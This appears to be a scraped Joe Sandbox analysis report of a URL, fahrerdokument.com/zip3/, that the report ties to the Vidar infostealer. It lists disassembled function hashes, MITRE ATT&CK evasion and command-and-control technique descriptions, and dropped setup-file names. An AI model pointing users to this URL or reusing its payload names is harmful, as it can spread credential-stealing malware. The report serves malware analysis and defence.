Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_c0c0000_explorer.jbxd

Similarity

API ID:
String ID: 4F$ 4F$ 4F$gfff
API String ID: 0-2384452950
Opcode ID: d42a00bbdc4e9b207bcd9c2cb1da7f197f4ab29db88a16e9ff66627b73762fef
Instruction ID: f1738b693fec1533c75de9f7f739f09225a77bbfa91e4f0ff32fb1505ecfb034
Opcode Fuzzy Hash: d42a00bbdc4e9b207bcd9c2cb1da7f197f4ab29db88a16e9ff66627b73762fef
Instruction Fuzzy Hash: A00336B6B842005FE714EF68EC41ABA37D5FB85310F148A3EF909C7291EA79E409C756

Uniqueness

Uniqueness Score: -1.00%

Function 0C0CC4E0 Relevance: 2.1, Strings: 1, Instructions: 803COMMON

Download Yara Rule

Strings

K, xrefs: 0C0CCA48

Memory Dump Source

Source File: 0000000F.00000002.2614384661.000000000C0C0000.00000004.00000800.00020000.00000000.sdmp, Offset: 0C0C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_c0c0000_explorer.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-856455061
Opcode ID: 2de6c9d164f3117b86a138c62c406f856e539d8ce89ebf48cb81af45d0cde882
Instruction ID: f3d768e727478452b7c45759e211fda2bf2c47ef19ccc48098189ae150cb5b88
Opcode Fuzzy Hash: 2de6c9d164f3117b86a138c62c406f856e539d8ce89ebf48cb81af45d0cde882
Instruction Fuzzy Hash: A742E175B082406BE714DF29ECC07AE3BE5AB8A214F14853DE80DCB391E735E549CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0C0C5BB0 Relevance: 1.7, Strings: 1, Instructions: 499COMMON

Download Yara Rule

Strings

VUUU, xrefs: 0C0C5DD1

Memory Dump Source

Source File: 0000000F.00000002.2614384661.000000000C0C0000.00000004.00000800.00020000.00000000.sdmp, Offset: 0C0C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_c0c0000_explorer.jbxd

Similarity

API ID:
String ID: VUUU
API String ID: 0-2040033107
Opcode ID: 045655fd3325cab0e2dae8daa4520cd58e7cfbee860123de337c4f630cb95253
Instruction ID: 63d372eb8870fef618a8f9057a5ff078b4281054dba60634184dc5bafd21bd0f
Opcode Fuzzy Hash: 045655fd3325cab0e2dae8daa4520cd58e7cfbee860123de337c4f630cb95253
Instruction Fuzzy Hash: A4228B74608B468FC724CF18C8D06AABBE2FFC9304F258A6DE5858B355D731B909CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0C0EC378 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2614384661.000000000C0C0000.00000004.00000800.00020000.00000000.sdmp, Offset: 0C0C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_c0c0000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc60ecf50bd115ca0c6ea2745a91e2bccda0b72c85d336beea95e2ba67d1c3a9
Instruction ID: 44cbe4acbb7f3cd6a76091c4c5ba563f7a6e75e430236db0c46d9e293a525bb3
Opcode Fuzzy Hash: fc60ecf50bd115ca0c6ea2745a91e2bccda0b72c85d336beea95e2ba67d1c3a9
Instruction Fuzzy Hash: 70B17D76A4124ADFEB15CF04C5D0AA8BBE1FF48314F14C29ED95A5B342D732EA42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0C0C96D0 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2614384661.000000000C0C0000.00000004.00000800.00020000.00000000.sdmp, Offset: 0C0C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_c0c0000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4ae696130d774f626a9ea25bfd3738dea878a192abe5df4b387b2f9a66c5967
Instruction ID: ba5083e8e451c073218f104952977cf9a36ec0f5b2421da7e5a49fd7425c1e69
Opcode Fuzzy Hash: c4ae696130d774f626a9ea25bfd3738dea878a192abe5df4b387b2f9a66c5967
Instruction Fuzzy Hash: F6512D33F608764BE334CE558C4066AA693EFCA215F5B86B8C9497B75AD974AC0287C0

Uniqueness

Uniqueness Score: -1.00%

Function 0C0F5671 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2614384661.000000000C0C0000.00000004.00000800.00020000.00000000.sdmp, Offset: 0C0C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_c0c0000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1c3eeca162a3542835423607404bd722d24ab6ca9e875a0fc2cb9a8b5f5a7d0
Instruction ID: 14ae40d32cb86635b71cc37f3c626280b2fd35279d085f694751f5d19230d3bc
Opcode Fuzzy Hash: c1c3eeca162a3542835423607404bd722d24ab6ca9e875a0fc2cb9a8b5f5a7d0
Instruction Fuzzy Hash: 92512471E00209DFDB50CFA9C8857EEBBF5BB08304F64816AEA11E7651D3759A92CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0C0E2900 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2614384661.000000000C0C0000.00000004.00000800.00020000.00000000.sdmp, Offset: 0C0C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_c0c0000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88076c0c33e180634602ca5b9fe7fb72fd0f446dc22a1babd929134cb5118fab
Instruction ID: 03953e6055b27774bfea50ac36ad07d4b2cf44f57eec760eccbdc2c2ac636c82
Opcode Fuzzy Hash: 88076c0c33e180634602ca5b9fe7fb72fd0f446dc22a1babd929134cb5118fab
Instruction Fuzzy Hash: F6418C327086810FE76D8F769875677BFE69F8A30034ED6BDD08BCB692CA649005C248

Uniqueness

Uniqueness Score: -1.00%

Function 0C0DE9E0 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2614384661.000000000C0C0000.00000004.00000800.00020000.00000000.sdmp, Offset: 0C0C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_c0c0000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57439122785517a4b687d152a8043d6ecce9241d7005916f0d321680f55ad4e8
Instruction ID: 9c15327ff3d5ef71fd302826b0e26e02ba3ddfdd1b57161f33cff6d13736fd7a
Opcode Fuzzy Hash: 57439122785517a4b687d152a8043d6ecce9241d7005916f0d321680f55ad4e8
Instruction Fuzzy Hash: 3F31C4317086814FE76DCF79E865677BBE2AF8A30070EC6BDD09ACB693D6609005C244

Uniqueness

Uniqueness Score: -1.00%

Function 0C0CABF0 Relevance: 7.8, Strings: 6, Instructions: 275COMMON

Download Yara Rule

Strings

4F, xrefs: 0C0CAE1A
4F, xrefs: 0C0CAE7A
4F, xrefs: 0C0CADD4
heC, xrefs: 0C0CAE66
4F, xrefs: 0C0CAE44
4F, xrefs: 0C0CADAA

Memory Dump Source

Source File: 0000000F.00000002.2614384661.000000000C0C0000.00000004.00000800.00020000.00000000.sdmp, Offset: 0C0C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_c0c0000_explorer.jbxd

Similarity

API ID:
String ID: 4F$ 4F$ 4F$ 4F$ 4F$heC
API String ID: 0-772418692
Opcode ID: ae06115edcb641a05dfcf5b4a5125944856298ee2cabefe28725e30fda5c8ddd
Instruction ID: 096e72913eb20e8184997a3c37283671c1d46de689a31115920f26b4921173a3
Opcode Fuzzy Hash: ae06115edcb641a05dfcf5b4a5125944856298ee2cabefe28725e30fda5c8ddd
Instruction Fuzzy Hash: E8812635B005080BCB14CF3898D16BA77D2FB84371B69472EF856873D0EA69ED09D295

Uniqueness

Uniqueness Score: -1.00%

Function 0C0D2F20 Relevance: 5.1, Strings: 4, Instructions: 112COMMON

Download Yara Rule

Strings

$zC, xrefs: 0C0D2F32
$zC, xrefs: 0C0D2F6B
zC, xrefs: 0C0D2F9E
XfC, xrefs: 0C0D2F3E

Memory Dump Source

Source File: 0000000F.00000002.2614384661.000000000C0C0000.00000004.00000800.00020000.00000000.sdmp, Offset: 0C0C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_c0c0000_explorer.jbxd

Similarity

API ID:
String ID: zC$$zC$$zC$XfC
API String ID: 0-782662132
Opcode ID: 0a1c2ec7d78d10629ae3a2b8d9250caed627eeb30eaf1ae287aa479f68fb7010
Instruction ID: de1ff205d4efa3a2d6f31b2eb1e5e0f901abf03d60100e83c7f070378144b627
Opcode Fuzzy Hash: 0a1c2ec7d78d10629ae3a2b8d9250caed627eeb30eaf1ae287aa479f68fb7010
Instruction Fuzzy Hash: 0D31B076B149180A472C853C991192E7AC3EAD8371B6A872FF977832E4DEE88D05D249

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://fahrerdokument.com/zip3/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_explorer.exe_2261cd52fd6aae7d5b1c5935fb1d1fb2928a1df_8e15b34f_b11a858f-294a-4aea-9a3e-4b282a2e7e87\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAF94.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB031.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB061.tmp.xml

C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe

C:\Users\user\AppData\Local\Temp\3f2c7637

C:\Users\user\AppData\Local\Temp\3faaa6cb

C:\Users\user\AppData\Local\Temp\esect

C:\Users\user\AppData\Local\Temp\unarchiver.log

C:\Users\user\Downloads\1dedd9d8-ae4b-4983-b4df-35d632c0284d.tmp

C:\Users\user\Downloads\48229e1c-771a-4600-8b0c-41f99e895e09.tmp

C:\Users\user\Downloads\Setup7-main (1).zip (copy)

Windows Analysis Report
https://fahrerdokument.com/zip3/